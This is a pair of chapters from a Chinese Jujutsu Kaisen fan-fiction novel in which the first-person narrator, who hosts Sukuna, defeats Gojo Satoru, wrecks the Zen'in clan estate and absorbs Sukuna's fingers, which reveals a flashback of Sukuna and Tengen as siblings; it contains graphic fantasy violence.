剧烈的红光掀起了狂风,冲击波将地面的血水推开,相撞的力量搅碎了尸骨堆砌的小山。 血与骨激烈的交汇于天际,甚至冲出了领域。 “哗哗哗” 没有了诅咒和咒力的后续支撑,重力抓住了骨血,让它们如雨落下,挥洒在大地上。 我的手按在空荡荡的胸口,腹腔内的内脏几乎被搅了个干净,波及领域内外的血雨,说不定就有我的一部分。 梦回新冠。 所剩无几的气管还遍布裂痕,字面意义上的小刀剌嗓子。 我屏气,大量的咒力在我身体内填补。 如此重伤,哪怕是「反转术式」的驱动力再强,一时半刻也难以恢复如初。 更何况,「赫」确实拖慢了「反转术式」的起效速度。 来这个世界这么久,我还从来没有如此虚弱过。 这个十数秒内如果再有攻击,即使要不了我的命,也有一定概率把我踹出这个世界。 但……五条悟注定要错过这个来之不易的机会了。 我晃动着身体有些支撑不住地半跪在地面,五条悟就倒在我眼前,我的两根肋骨一左一右,正正地穿在他的脖颈上。 40-50 第41章 我的血肉在骨架上重塑, 已经掰断的肋骨很快便也重新长齐。 外化成了的那个,不知算是咒具还是咒物的骨头自然无法再安回胸腔内,我对咒具的需求并不大, 用它来收买伏黑甚尔却是正好。 羂索的记忆碎片太少, 他的小金库要挖起来可就太费劲了,我现在根本没那个精力。 这导致我身上没有多少钱来匹配伏黑甚尔的身价,但用我肋骨和两面宿傩咒力组合在一起的武器可遇不可求。两根肋骨只要稍微改造一下, 再用「黑绳」将其连接起来,岂不是比「游云」还要逆天? 我暗自满意于自己的计划,缓过气来正要收回骨头的时候,却发现眼前的血水涟漪之中, 只剩下了孤零零的肋骨, 被肋骨穿喉而过的人却不见了踪影。 我瞳孔一震。 ——人在最接近成功的那瞬间,警惕心便是最差的时候。 先前都是我用这条规律来坑人的,谁承想,坑人者人恒坑之——我自己竟然也落入俗套之中。 在我意识到这点的瞬间,被刻意收缩隐藏的咒力膨胀起来—— 如此清晰我的质感, 就在身后! 我猛一回身, 却来不及做什么,就被一只染血的手重重地掐住了我的两颊, 掐得我颧骨疼。 是五条悟! 紧密的接触中, 我嗅到了他胳膊上残留的焦煳味,那脖颈两边的贯穿伤也根本没有来得及愈合。 或者说, 五条悟就没有想着要让它们马上愈合。 这意味着他自己就没有分足够的力量到「反转术式」上, 只是单纯地掐住了动脉的破口, 阻止了血液喷涌。 他仍然想着要反击。 这种时候, 我竟还冷静地思考着如果将「黑绳」的特性融入到我的骨具里, 是不是连用「反转术式」治愈伤口的可能性都能完全杜绝。 五条悟张嘴,似乎是在说些什么狠话。 但显然,那贯穿喉咙的伤口伤到了他的声带,沙哑气短的音色完全不匹配他的脸,含糊的话语一字一句带着吞咽感,让我只能根据他的嘴型判断言语。 但这个嘴型实在太熟悉,让我一眼就认出了第一个词。 ——“领域展开”。 我瞳孔一缩,五条悟果然是个越战越勇的主儿! “「无量空处」!” 他的声音像是伴随在咒力之中,直直冲入了大脑里。 如山似海般的信息顿时填满了脑内的每一个神经,知觉传导被这些信息所截断。如此强行给大脑提速,完全超出了大脑一般意义上能够承载的信息处理规模。 我眼球不住地向上翻,在领域外的夜空中,我好像看到的宇宙。 真·宇宙猫猫头。 一句话概括就是——CPU烧了。 这就是五条悟所生活的世界,这就是五条悟从出生开始就面对的反噬。 在无限贴近于死亡的那个瞬间、在完全放弃「反转术式」对大脑治愈的瞬间,「六眼」获取的无限信息被放大到了极致。 和术式有关的、和术式无关的;和领域有关的、和领域无关的;和生死有关的、和生死无关的,那些数不尽的东西淹没了五条悟的感官。 「伏魔御厨子」的领域是个充斥着死亡和惨烈诅咒的领域,它记录了每一个被两面宿傩所杀死的生物。 这些生物死前的悲鸣被记录在尸山血海之中,直到那一刻被五条悟的「六眼」解锁。 无限重复的死亡撞击在他的大脑里,让他痛苦到几近失智。 或许只有这样的感同身受,才能让他察觉到「六眼」的最直接用法。 「六眼」既然可以反噬己身,他自然就有机会利用这种“反噬”。 同样量级的信息连他的大脑都会遭受冲击,更遑论其他不适应「六眼」的人。 五条悟应该感谢我才对,术式反转和领域释放,都是被我逼出来的。 我空洞的眼珠突然一动,在眼眶中急转,直勾勾地看向了五条悟。 “不错啊,这个年纪就能领悟领域,第一次用领域就能达到如此程度,真让人震惊——” 可五条悟显然比我还要震惊。 “怎么可能,你——还能动?” 他的嗓子似乎恢复了一些,沙哑的声音至少吐字清晰起来。 我咧嘴一笑,反手对他还在伤中的手臂一砸。 “咔嚓”。 清晰的骨裂声传入我耳。 两种不同的领域在这个瞬间才真正撞在了一起。 诅咒和咒力扭曲急变,我的黑和他的蓝两种色彩转出了百米大的太极阴阳鱼。而我和五条悟本体,则各在一鱼中心。 “轰——!” 不够平衡的力量无法被完全抵消,双方强烈的互攻欲望擦出了火花,引爆了微妙咒力和诅咒互相压制的微妙环境,将整片土地林地推开,地面原本就不高的山头被彻底炸成了如陨石坠落般的深坑。 对咒力的接连榨取,哪怕是五条悟这样的体量都承受不住,露出了清晰的颓色。 我的手在脸颊上一抹,擦掉了血印,也愈合了青紫的指痕。 “倒不必怀疑自己,你的领域很强——这一点哪怕是我也愿意承认。但……既然你能钻我领域的空子,我又如何不能钻你的空子?” 说到底,他的领域贴在我身上,却只会冲击一个大脑。 「伏魔御厨子」是我用出来的没错,但我就是个破看漫画的,对术式的理解极为有限。这种终许多咒术师一生都研究不出来的东西,难道是我几天就能开发出来的东西吗? 若真是如此,岂不是显得那些咒术师们很呆? 这当然不是我的领域,我甚至无法将领域的全部机制完全化用——那需要大量的精力,而我却没有那么多时间。 主要走量,也就是所谓的,“一力降十会”。 领域既然是两面宿傩现成的,领域的主人,自然也应该是两面宿傩本人。 五条悟使用领域的目的在于反制——他下意识地将领域的主人当做了我,我便可以轻易地将这个领域效果转嫁给领域真正的主人。 顺便一提,四根手指的两面宿傩完全无法抗拒这个「无量空处」。 他露出那样“睿智”的神色可真是少见。 ……虽然用的是我的脸。 五条悟的脑子转得何其快,迅速就意识到了我所说的“钻空子”是怎么回事。 他强撑着一口气不让自己倒下,但接连的消耗让此时的他已经不可能再用出第二次领域——败局已定。 “我还得感谢你,两面宿傩可不是什么老实的人。”我敲了敲自己的脑袋,感觉自己的脑子从来没有这样轻松过。 感谢五条悟送来的禁言卡·两面宿傩尊享版。 我看着远处的五条悟,思考着该如何收场。 他和“宿命”的关联性太强,这个时候绝不能真杀了他。 之前的两次有“术式翻转”和“领域展开”作为他翻盘的保底,现在可没有新东西了。此时动手,是真的有机会杀了他。 我暗“啧”了一声,咒术界的反应怎么如此慢,这么大的动静,连个支援都不给吗? “嘟嘟嘟” 我的手机在此时发出了打破沉默的声音。 我从屁兜里摸出某个能砸核桃牌子的非智能机,不枉我自己炸胸口都要保护它的决心,此时还真给我送了个台阶来。 「From 伏黑甚尔 东西到手——6」 我露出一个满意的表情,“看来今天,是我大获全胜了。” 今日,整个咒术界的注意力都在星浆体上,所有人的精力都在薨星宫内外,各家强力的咒术师都派了出去,就连诅咒师们都被盘星教雇佣了许多。 可想而知,此时的总监部是何等的空虚。 这样难得的机会,我当然不能放过。 “总监部的仓库里竟然放着六根手指,比我预想的还要多啊。”原则上来说,两面宿傩手指这样的危险咒物,原本就应该被收入总监部仓库中统一管理。 但六根的数量还是超过了我的预期,“你说,如果我要是拿住了你的命,五条家会不会用两面宿傩的手指来换你?” 加茂家有的,另外两家也一定有,只是数量或许不一罢了。 “你,想得美。”五条悟说话间已经调整好了身上最危险的伤口,说话时的声音几乎听不出端倪。 他捏住自己的虎口,强烈的意志撑起了他的身体潜力,几近干枯的咒力在这种情况下竟然还有些回暖。 但这一点“回暖”想要对付我,可远远不够。 就在此时,我耳朵一动,听到了某些动静。 我心里暗松了口气,面上却露出了几分遗憾,看着阴沉的乌云下快速靠近的咒力源头,“看来今夜只能先到这里了。不过时间倒也还来得及——你受伤了,五条家很快会倾巢而出吧,我自己去翻就是了。” “你——!” “啪!” 我打了个响指,一个诅咒球砸到了五条悟的脑门上。 这个攻击和刚才的交手相比确实不算什么,但作为压死骆驼的最后一根稻草却已足够。 他的精神和身体已经被绷到了极致,这一击下,他总算是彻底失去了意识。 赶在有支援到达之前,我便隐起了诅咒,拿着两根肋骨,迅速撤离了此地。 和五条悟最后放的狠话可不是在刺激他——好吧,也有进一步戳动他神经,让他到临界点的目的在。 但我也确实是公示了自己的下一个目标。 越是混乱的地方就越容易浑水摸鱼。 今日过后——只要五条悟醒过来,所有人都会知道我的目的和身份。 到时候再想从各家淘货可就难了。 所以不论我现在有多困多累,都绝对不能休息。 我一边快速移动,一边继续给伏黑甚尔发信息,让他到五条家外围接应一下陀艮。 袭击五条的指令我交给了陀艮。 和大部分的特级咒灵比起来,陀艮确实算不上强,甚至有几分软弱。 但“软弱”这个词是相对的,他能让自己的领域在东京这个坐落着高专和总监部两大机构的地方隐藏,他潜入某地的本领本就不可能比花御弱。 而且,更重要的是,他足够听话。 我一早就告诉过他,要等到五条家的人急促向外赶后,再闯入其中。 这样,即使五条家的人意识到了族地有险,也不可能在族地和五条悟之间选择前者。 我真正要赶去的地方,不是五条家——而是禅院家的族地。 比起一定会选择五条悟的五条族地,禅院的环境要更危险些。 我必须要自己去才能放心。 当然,伏黑甚尔似乎更愿意到这里来大闹一场。 但鉴于他的家室,我还是认为他不要在明面上卷进来。 总监部毕竟鱼龙混杂,他可以想办法掩盖自己的行踪——即使当值的人有所察觉,正主导总监部禅院家也绝对不可能承认,袭击者来自自家。 毕竟总监部再怎么重要,那也是“大家的地盘”,不是“自家的地盘”。 但禅院本家就不一样了,就像他对禅院家的熟悉一样,禅院家的人对他也足够熟悉,所以风险性更高。 让他去五条家外接应陀艮,也是为了确保他不要在这件事上给我发挥什么主观能动性。 毕竟,我给他承诺的那个,可以把家人送过去的、不受咒灵咒术师影响的、绝对安全的“第三空间”,暂时只是我画的个大饼。 我的穿越司现在还只是个空壳子。 伏黑甚尔虽然不是什么好说话的人,但涉及妻儿的安全,他一向是宁可用最坏的可能去揣测,不会冒险。 说服他的任务事实上没有想象当中那么困难。 而且,我还用总监部的咒具库勾引了他一波——存放咒物和咒具的地方需要相似的封印和禁制,所以大概率二者在同一个地方,或至少相近。 他寻找两面宿傩手指的空档,还可以洗劫一波咒具库。 到时候以我的名义把那些咒具放到黑市上走一圈,就算是洗白了它们。 孔时雨对这种业务熟得很。 在手机上确认了一切行动顺利后,我也提速赶路。 稍微学了一点五条悟对「苍」的用法,以诅咒压缩空间来提高移动效率。 虽然达不到「苍」的瞬移程度,但也足够好用。 日夜交接的朦胧之中,禅院家外笼罩的「帐」很快展现在我眼前。 「帐」内灯火通明,人员来往频繁,看起来非常忙碌。 这倒不令我意外,今天我搞的事可太多了,禅院家得到各类消息的速度都很快,就连收拾残局、捞好处都来不及。 加茂、五条接连受创,他们现在肯定高兴坏了。 禅院直毘人或许会在这之中保持一些辩证的理智,但有便宜不占王|八|蛋。思考归思考,该做的事,他可一件都不会少做。 我深吸了一口气,感受了一□□内翻涌的诅咒。 此前和五条悟的战斗确实消耗了许多,甚至让我感受到了前所未有的虚弱。 但,我现在的状态即使不说回满,但诅咒力量的暴躁程度却绝对是先前的倍数有余。 究其原因——当然是因为两面宿傩。 这股来源于两面宿傩手指的诅咒力量,当然时时刻刻和两面宿傩本身的状态挂钩。 看来,「无量空处」的刺激让两面宿傩受到了刺激。 猝不及防地被我强行推出来作挡箭牌,又是被五条悟那样的臭屁小鬼用的领域所震慑,这事儿对两面宿傩来说,无疑是一种屈辱。 屈辱对于两面宿傩这样性格的人来说,就是最大的刺激——是比死亡还大的刺激。 他在我体内骂的那些电报音,我就智能屏蔽掉了。但诅咒的狂躁却不用阻碍,对我来说,这种诅咒也并无不可用。 拿来给禅院家上一课真是再好不过了。 我悬在禅院「帐」外的正上空,瞳孔外圈红光一亮,诅咒沿着我掌心溢出。 暴躁的诅咒昭示着两面宿傩的坏心情,刺激之中擦出了阴沉的火花,在我身前快速成团。 没有任何技巧,也不需要使用什么术式。 我这次的攻击没有任何掩盖自己意图和身份的意思,纯诅咒重压而下。 半球体倒扣在族地的「帐」发出了一声对抗重压的“咯吱”声。「帐」的形状被挤得内凹,给「帐」内的咒术师们传达了一个极为危险的信号。 只是,他们还没有来得及反应这个信号所代表的意味,「帐」便已经先一步崩溃。 “咔嚓”! 仿佛玻璃碎裂的声音穿透了禅院族地,布满裂纹的「帐」多一秒都没有维持住,碎裂成星,洒落大地。 “呵——”我咧开嘴,俯视着地面那些蝼蚁一般的人,单手成爪,向下一挥。 我迫不及待地释放着两面宿傩在我体内制造的压力,五道指痕劈下,碾碎着无缝房屋建筑,连带着咒术师一起,在土地上留下了极深的裂痕。 “晚上好啊,各位。” 我没有刻意放大声音,但我相信,咒术师们的感官都是相当敏锐的。 即使毫无准备,但禅院这样的大家族不可能没有应急策略。 我出声的瞬间,就已经有攻击送到了我面前。 不是术式,而是由咒物驱动的咒具。 大概是某种防御机关。 我抓住了速冲到我面前的长矛,略一用力,长矛便碎裂成粉,随风飘散。 紧接着,我用诅咒一推,让自己快速下落,以比刚才的爪击更重的力量撞入了禅院族地的后院。 下落的冲击撞碎了一切反冲而上的防御机制,那些看似厚重的咒力甚至无法降低我的速度。 “砰!” 内层的小「帐」和存放咒灵的屋顶被我一脚踩碎,毫无收敛的诅咒首先撕裂的不是咒术师,而是这些咒灵。 特级以下没有自主意识、不够听话的咒灵对我来说毫无战术价值,但确实不错的补品。 我抬手,掌心裂开的嘴巴毫不客气地将诅咒全数吞下。 “嗝——” 毕竟才刚刚大战过一场,先来这里回口血。 再转身,我用手腕挡住了砍上来的剑。 持剑的是个老头。 伏黑甚尔大概能认出来他吧,但对我来说,这却不算是熟悉的脸。 禅院家里,我专门搜了照片来认的,就只有禅院直毘人这个族长。 “谁啊?” 我一歪头,咒纹在我身上一亮。 老头瞳孔骤缩之间,被我反手抓住剑身,狠狠地甩了出去。 毫不留情的力量让他在地上拖出一道沟壑来,干净整洁的狩衣顿时遍布泥土。 我不多关注他,闭上眼将诅咒铺了出去。 “让我看看,在哪呢——” 伏黑甚尔给我指了一个大概的方向,虽然没有踏入过任何存放咒物的库房。但就和总监部存物的道理一样,禅院家的咒物和咒具存放的位置应该相距不远。 别的东西位置不明,难道伏黑甚尔会不知道禅院家的咒具存放在哪吗? “啊,找到了。” 我刚一抬脚,背后的攻击就又找上门来。 诅咒铺开的环境里,我甚至不需要回头,就抓住了剑锋,“真是不识好人心,我已经放你一马了,还不跑,是真的不怕死吗?” 身后的人完全没有回应我的言语。 “秘技·落花之情。” 咒力从剑身衍射而出,如镜花水月扩散成域,剑意凝结交叉封死所有退路,全方位无死角地朝我砍来。 但要我说,这不就是我喜欢用的招数吗? “定!” 我眼睛一动,便迅速确认了剑意的数量,诅咒成锁散开,将所有的剑意全数封停。 比起击碎这些剑意,停滞他们显然更显B格。 我回头,欣赏着老头脸上的诧异与震惊。 “怎么样,我的招数是不是很好玩?” 我的手指用力,老头的剑顿时布满裂纹。诅咒化蛇,逆着我的手腕冲向了老头的门面。 他完全收不回自己的剑,面对危险的本能让他弃剑后退。 蛇是真人先前从加茂族地里搞来的咒物,但形状经我改造成了我更熟悉的模样——纪念那些年陪我做剑网三任务的五毒搅基蛇。 文艺复兴了属于。 看得出来,禅院家今日也一样内宅空虚,老头就交给搅基蛇对付后,禅院家竟然组织不起来更有效的反击。 那老头大概就是禅院扇——禅院家的二把手。 一把手禅院直毘人应该不在族地。毕竟总监部内禅院一家独大,今日的他,一定会坐镇总监部来宣告自家的地位。 如此看来,今夜御三家里防御最严的,竟然是我不会再造访的加茂一族了。 撕开咒具盒外的封印,第二层的鎏金锁看上去相当漂亮,可惜我没有钥匙,只能将它碾得稀碎。 唉,多好看的锁,真是可惜了。 接连几层封印揭开,两面宿傩手指的气息才终于泄露出来。 一、二、三、四。 竟然比加茂一族存储的手指数量还多, 只是和加茂一族不同,禅院家并没有真的使用这些手指——也正是因此,花御才没有察觉到这里的诅咒变化。 五条家和总监部大概也是相同的道理。 这次,我也不再矫情。 刚才那些普通咒灵带来的回复相较于我先前的消耗,根本不够。 我张开嘴,将四根手指接连吞下。 没有封印的咒物下肚,我的小腹顿时腾升起一阵强烈的炽热。 两面宿傩在我脑中的声音更加强烈,大量的诅咒在我体内撞击,沿着胃壁流淌进入四肢百骸,紧跟着便持续渗入了我的精神。 有先前四根手指打底,又在我相对虚弱时,冲入这样大量的诅咒,两面宿傩顿时不安分起来。 好吧,他事实上也从来没有安分过。 但此时,他在之前的屈辱情绪的刺激下,几乎忘记了和我的约定,精神上与我的对抗达到了巅峰。 一种四肢的强烈争夺感从未有过地强烈,甚至让我有种神经麻痹的错觉。 而我,恰巧正是最没有精力理会的时候。 那些手指呼应着先前的咒物,四根手指一加,两面宿傩诅咒的占比岂止是翻倍,简直是幂次递增,直接将大量的记忆瞬间毫无滞涩地塞入了我的脑子。 某种意义上来说,我也算是晚一步体会了一把「无量空处」的感觉。 关键是,我还不能反抗。 比起一时的力量压制,我更需要从两面宿傩的记忆里,挖出一切诅咒和咒力的源头,挖出他和天元之间的关系。 仿佛墨汁滴入水中,扩散流转的黑色在我的视野里,形成了人的轮廓。 一个穿着白色浴衣的女子站在树下,微风吹落的樱花如雨般洒落在她纯洁的白发上。她伸手,捻起一片粉红的花瓣放在鼻下,轻嗅着香气。 突然,她像是察觉到了有人靠近,柔顺的眼神一利,刺向了“我”的方向。 但紧接着,她的眼神便松了下来,眉尾下垂着,展现女子的无害。 “兄长大人。” 她的声音很软,简直是最刻板印象中的“大和抚子”音,让人骨酥。她指尖捻着的花瓣化作一阵粉色的咒力逆着风的方向飞向了我。 还没有脱离战斗模式的我下意识想要躲避,手却已不自觉地抓住了这道粉光。 我这才回神意识到,眼前的一切对我来说都不是真实的,而是两面宿傩手指里,蕴含着的记忆。 这第一人称的视角,无疑是两面宿傩的视角。 现在的“我”,无疑是过去的两面宿傩本人。 也就是说,眼前的人——是和两面宿傩的妹妹! 他竟然不是孤家寡人吗! 可恶,有这么漂亮的妹妹! “我”抬起的手上显露着咒纹,触碰到粉色咒力的瞬间,便无意识地将其碾碎。 哦吼,看来这个时候,两面宿傩就已经在使用诅咒了。 “天元。” “我”的身体里发出了两面宿傩的声音。 我瞳孔地震。 这、这是天元!? 你告诉我,眼前这个小家碧玉、温柔可人的女孩子,是后来那个四眼水桶怪! 等等! 这也就是说,天元是两面宿傩的……妹妹! 我之前还猜他们俩是小情侣,真是罪过罪过…… 不——不对,以咒术界的某些传统来看,怎么觉得他们俩有一腿的概率更高了!? 咒术界的人知道自己的“神明”和诅咒之王是兄妹吗? 而且还是强势哥哥X温柔妹妹的组合。 我感觉自己吃到了一个绝无仅有的惊天大瓜。 “听说你歼灭了藤原家下属的精英——日月星进队和五虚将。”天元几步上前,走到了“我”面前,“按照计划,藤原家应该已经请你入京,做「新尝祭」的主官了吧。” 新尝祭? 应该是某种祭祀仪式吧。 “我”的胸腔一震,愉悦的情绪充盈在大脑中。 两面宿傩无疑是高兴的,“已经收到信儿了,你那边呢。藤原基经那个老家伙怎么说?” “一切顺利,他没得选,光孝天皇只是老了,不是死了。只有立定省为太子才守得住藤原家现在的地位。”天元露出势在必得的表情,“这件事前些时日便已经定了,多亏了兄长重创他的势力,才将他逼到这最后一步。等到新尝祭后,我就让英辉动手,杀了光孝,扶立新君。” “英辉?啊……禅院家的那个小崽子啊。” “英辉已经不是小崽子了,我的命令明日就会下给他,请兄长放心。” 天元看上去对两面宿傩极为尊敬,说话间还福身行礼。 而她言语中所表达的意思…… “禅院”这个词,在这个世界里我想不出还有第二个指向。 听天元的语气,禅院家祖上是她和两面宿傩的家臣吗!? 那另外的两个家族呢? 我激动了起来,迫不及待地想要知道更多。 “哼,他最好不要坏事。” 两面宿傩话如此说,但我能感觉到他的放松和信任。 这人还挺傲娇的,“源朝臣定省的皇衔定好了没?” “道真——不知兄长是否还记得他,就是菅原家的那个孩子。他深得定省的信任,不论是皇衔还是国号,都听兄长的意思。” 权力这么大的吗? 我怎么觉得,这俩人拿着的完全不是咒术回战的剧本,而是什么权斗的剧本——而且还是那种接近尾声的胜利剧本。 菅原道真…… 这个名字,我咒回里代表的,是五条家和乙骨忧太的先祖? 果然,既然禅院家和天元有关系,御三家的另外两家估计也是一样。 “那就……宇多吧,这个皇衔听起来不错。” 两面宿傩也毫不客气,“再过两日,加茂淳司处理好日月星进队和五虚将的尾巴就会上京,到时候,也一并交给你安排。” “是,多谢兄长信任。” 加茂——真是毫不意外。 不需要更长的记忆我便能意识到这一对兄妹的关系。 大概是互相信任的——至少此时,我能够感觉到两面宿傩在这段记忆中的情绪,他对天元没有丝毫怀疑。 甚至,两面宿傩完全就是个甩手掌柜。 兄妹俩的分工,一个权、一个力,权力分开,既相互信任,又相互制衡。 这完全就是现在御三家内部分权的模板! 这个延续,一定是从他们这里开始的。 甚至有可能,现在御三家的运作模式,就是天元一手操纵而来。 至少就目前的情报来看,天元完全不是什么不谙世事小白花,或是什么遗世独立的神明大人。 不过,这两人之间的信任恐怕没有看上去那样坚固。 我本人作为一个事后诸葛亮,看后来两面宿傩的态度便能猜到,他们兄妹的结局恐怕没那么和谐。 两面宿傩张开嘴,但他的声音却在我的耳边远去。眼前画面扭曲,像是水彩融合流转,从身前到身后,人物和背景下沉,落在地面,形成了新的记忆。 两面宿傩的手指分散,蕴含的记忆也自然并非连在一起。 “叮铃——” 祭祀的铃响清澈回荡,穿过飘散的樱花树传至神龛之中,新的记忆碎片展现在我眼前。 伴随着这声响,浓烈的血腥味逆着鼻腔冲到了我的大脑中——啊,不对,是两面宿傩·过去版的大脑。 “我”一手握着祭器,一手抓着人头,女士和服宽大的袖口里伸出的另外两只手臂攥着某人的身体,略一用力,那身体便被“我”生生撕成了两半。 被撕碎的人似乎还活着,因为我能听到他——或是她的哀鸣。 极致破碎的声音,已经听不出性别来了,只有惨烈。 视野接着转移,“我”的脚下,是尸山血海。 隐约还能看出“新尝祭”字样的祭旗被埋在残缺的血肉之下,樱花的浅粉都仿佛吸收了渗入根系的血液映红起来。 目之所及,白骨和红血竟是“我”能看到的唯二的颜色,无数暗淡无生气的瞳孔中都写满了恐惧,香味在“我”的舌根上蔓延。 我清楚地知道,这是“恐惧”情绪所带来的味道。 两面宿傩在贪恋着这种味道。 比双眼更大的视野扩散开来——这时,多一双眼睛的视野范围。 树枝上挂着的晴天娃娃被一片骨碎割开,玩偶白布制成的脸上溅着不知道谁的红液。 娃娃身下挂着的清脆铃响很快被狂肆嚣张的笑声所覆盖。 简直不敢相信这是人能发出来的声音。 没错,不是人之声。 四个手臂、两张面孔,这完全不是人类的身体了。 此时的两面宿傩,已经是货真价实的—— 怪物。 第42章 睁开眼的一瞬间, 我以为自己仍然沉浸在两面宿傩的记忆里。 地面一片废墟,破碎的「帐」已然没有任何保护作用,宅院彻底没了轮廓。树林被诅咒点燃, 焦糊的气味弥漫, 火星在刚刚降临的夜幕之下让人望而生畏。 残肢断臂插在土里,大地龟裂着被分成了几块,裂痕之中还流淌着血液骨肉, 宛若地狱之景。 简直是两面宿傩生得领域的现实翻版。 我瞳孔地震,低头看自己的手,手腕以下已经完全看不出肉色,粘稠的血水滴在我的鞋上。腋下的衣服被撕开两个均匀的洞, 显然是两面宿傩的另外两只手戳出来的口子。 “啪嗒!” 手一松, 原本还掐在我手上的半个身子掉落在地。 我倒吸一口凉气,精神震荡地从记忆中脱离,终于意识到眼前的一切是现实。 即使在手指记忆之中的感知也非常真实,但其冲击力却远不如此。 “哇——!” 我走流程惊叹了一声,但声音出口、听到我自己耳朵里的时候, 我才发现自己有多平淡。 这么有冲击力的画面, 我第一个担心的事,竟然是答应了伏黑甚尔要从禅院家仓库顺走的特级咒具「龙骨」, 大概已经被摧毁掉了。 即使没有, 禅院族地现在的废墟程度,想要将其再找出来也很难——至少很耗时间, 得不偿失。 “你是真的一点后路都不给我留啊, 就这么恨自己曾经下属吗?”我戳着脸上还没有消失的眼睛怼了一句。 即使陷于记忆, 但争夺身体这件事原本是需要出奇招的事, 两面宿傩每争一次, 我身体对他的抗性就会再加一层。 哪怕是吃一堑长一智,我的身体对他来说也会变得越来越难有机会控制。 养精蓄锐、扮猪吃老虎才是他现在最该做的事。 他的行为,显然是带着几分冲动的。 “与你无关。” 两面宿傩的心情显然奇差无比——至少是我认识他以来,他心情最差的一次。 我皱眉,虽然是被我坑了一下、虽然是被五条悟的领域冲傻了一会儿,但以两面宿傩的心智,不至于为这么点小事耿耿于怀吧? 他这个情绪…… “难道——”一种可能性涌上心头,“那些记忆,不只是冲击到了我,你也被迫重新回忆起了那些细节吧?” 体内的两面宿傩气压一低,我就更确定了。 对,只有这样才说得通。 手指的力量被我的身体吸收,诅咒在体内的流转中必然也会汇聚到同样在我体内的两面宿傩身上。 对我来说,那些记忆就像是玩一场主机游戏,即使是第一人称视角,但也仍是旁观者。但对两面宿傩不同,简直就像是将过去不堪的记忆又重新翻出来鞭|尸一次。 为什么是“不堪的记忆”? 即使过程不详,但就结果来说,两面宿傩的妹妹天元,他们曾经的下属御三家都有各自的地位,风光无限。唯有两面宿傩本人被镇压、被分尸、被封印,难道对他这样的人来说,还不算不堪吗? “哼。” 两面宿傩的声音中余怒难消,但被我恢复主权的精神压制,他也懒得再多说什么。 我看了看四周已成定局的禅院宅院。 这下御三家可真是谁也别笑话谁。 夜幕已然降临,但咒术界恐怕是抽调不出更多力量再来支援了。 今日一天,从薨星宫到总监部,再到御三家,没有一个真正意义上,幸免于难的。 他们不能幸免于难,于我而言,就是大获全胜。 我吹了声口哨,俯瞰着这一片废墟,没有再多留,迅速撤离此地,赶着和陀艮他们会合。 正如我所预料,五条家果然把五条悟看得比族地本身要更重一些。即使在出发不久就意识到了有人闯入,却完全不能回头。 陀艮简直如入无人之境,一阵破坏很快就拿到了我要的咒物。 只有两根。 五条家对咒物的收藏欲比想象当中还要少。 让我算算—— 加茂家有三根,禅院家是四根,五条家是两根,再算上总监部的六根,和羂索最开始给我吞的那一根。 我手上现在有的,是十六根手指。 这个级别的手指数量如果被消化完——那我拥有的实力,即使是面对现在的整个咒术界,也绝对已经具有充足的压制性。 只可惜,最后剩下的四根手指我暂时还没有头绪。 散落在外的东西不需要制定如今日一般紧密的计划回收,但其的难点在于寻找位置。 我把肋骨甩给了伏黑甚尔,让他从黑市上帮我打听打听手指咒物的消息。 “我怎么记得,咒具「龙骨」是把刀,而不是真的骨头?” “因为这不是「龙骨」而是我的骨。”我隔着皮肉摸了摸肋骨的位置,已经完全愈合长齐的腹腔,已经没有了这两根断骨的位置,“浸染着手指的诅咒,咒纹也是两面宿傩力量的延伸,虽然还差了点名气,但单论质量绝对不输给特级以下的咒具。啊……我还用它捅了五条悟这个「神子」的脖子,应该也算是有点典故在身了吧?” “哦?你的骨?”伏黑甚尔看咒具的眼力非常顶尖,瞧着骨尾被削尖的状态,就能想到其诸多使用方式,“是「龙骨」没有找出来?” “在禅院家闹得太厉害,到最后已经完全看不出族地原本的样子,「龙骨」要么是被我无意间破坏了、要么就是埋在某一堆废墟下了……但我的骨应该不会比一般的咒具差吧,还是说那把「龙骨」有什么特殊效果?” 如果是像「天逆鉾」这样的咒具,那就和等级无关,其特质就足以独树一帜。 “不,只是普通世界里的一把普通的刀,肯定是不能和你比了。”伏黑甚尔似乎是意识到我并不想多提肋骨被拉出来的过程,于是便识趣地跳过了这个话题,“我倒是有些迫不及待地想看看,你到底把禅院那个地方,搅成了个什么样。” 准确地来说,是两面宿傩的手笔。 但陀艮还在我旁边,完全没必要把话说得那么清楚,“让我想想该怎么形容,嗯——应该是真的成了个字面意义上的‘垃圾堆’了吧?在那里下的手,可比在加茂家下的手狠多……了——” 不对劲。 十分有十二分的不对劲。 两面宿傩对曾经下属的背叛心怀愤怒甚至是恨意都极容易理解,那当时在加茂一族的族地,他为什么没有如今日那般激烈的反应? 他对待两家的态度似有不同。 要说今日和那日的区别,或许就在五条悟的身上。 五条悟领域的使用,是刺激两面宿傩的导火索。 甚至不仅仅是屈辱,而是有些更深层次的原因。 我脑中闪过诸多可能,但一切猜测都是空中楼阁。 “记得帮我关注着黑市的消息,保持联络。” 一点触及答案的可能吊在我的眼前,让我心里难耐,只得匆匆和伏黑甚尔告别,返回了临时基地。 我没有让陀艮跟进来开领域,甚至没有让他近身。 他对两面宿傩本就心有畏惧,一会儿吸收手指的过程恐怕不会太好看,我担心陀艮被宿傩的手指力量祭天。 而且,在禅院家的事情已然说明,吞咽手指无论如何都带着一定程度的风险。两面宿傩的不可控性太强了。 我必须做好放弃这个临时基地的心理准备。 陀艮需要做的是和我分道扬镳,在备用的聚集点重设基地,随时接应花御和漏瑚。 也不知道那两个咒灵的计划是否顺利——不过顺利与否,都不影响大局了。 当然,还有真人。 他想带着星浆体隐匿返回是很轻松活儿,应该是最不用我操心的一队。 盘了盘现状,我长舒一口气,盘腿坐在地上,将存放手指的封印盒打开。 里面放着从总监部和五条家窃来的手指共计八根。 这个数量同时入体,我必须得做好准备。 诅咒在我的身体内奔腾,冲刷着我的体质——我尽可能地让自己提前适应手指诅咒的冲击。 两面宿傩在我体内嘲笑我做无用功。 “既然是从我的诅咒里诞生出来的东西、既然是想要吸收我手指的力量,那就要接受我带来的命运才行。” 他的用词让我极为不适,我反驳道:“命运?这种东西的存在,就是为了有一天被打破。” 我确实是成为了维系命运发展的一端势力,但我绝不会让自己永远困在这里。 哪怕是世界意识也不希望这个轮回永远不变,异端就由我来做。 “咱们俩的约定依然有效,不过是……各凭本事罢了。” 我说着,将手伸进盒子当中。 不需要我再多指挥,两面宿傩的嘴巴就在我掌心裂开,八根手指就这样被一口吞下。 两面宿傩也真不怕噎嗓子。 我的吐槽只来得及闪过一句,手指入口即化产生的大量诅咒真如波涛汹涌,在我的体内肆意驰骋、在我的精神里狂奔乱撞。 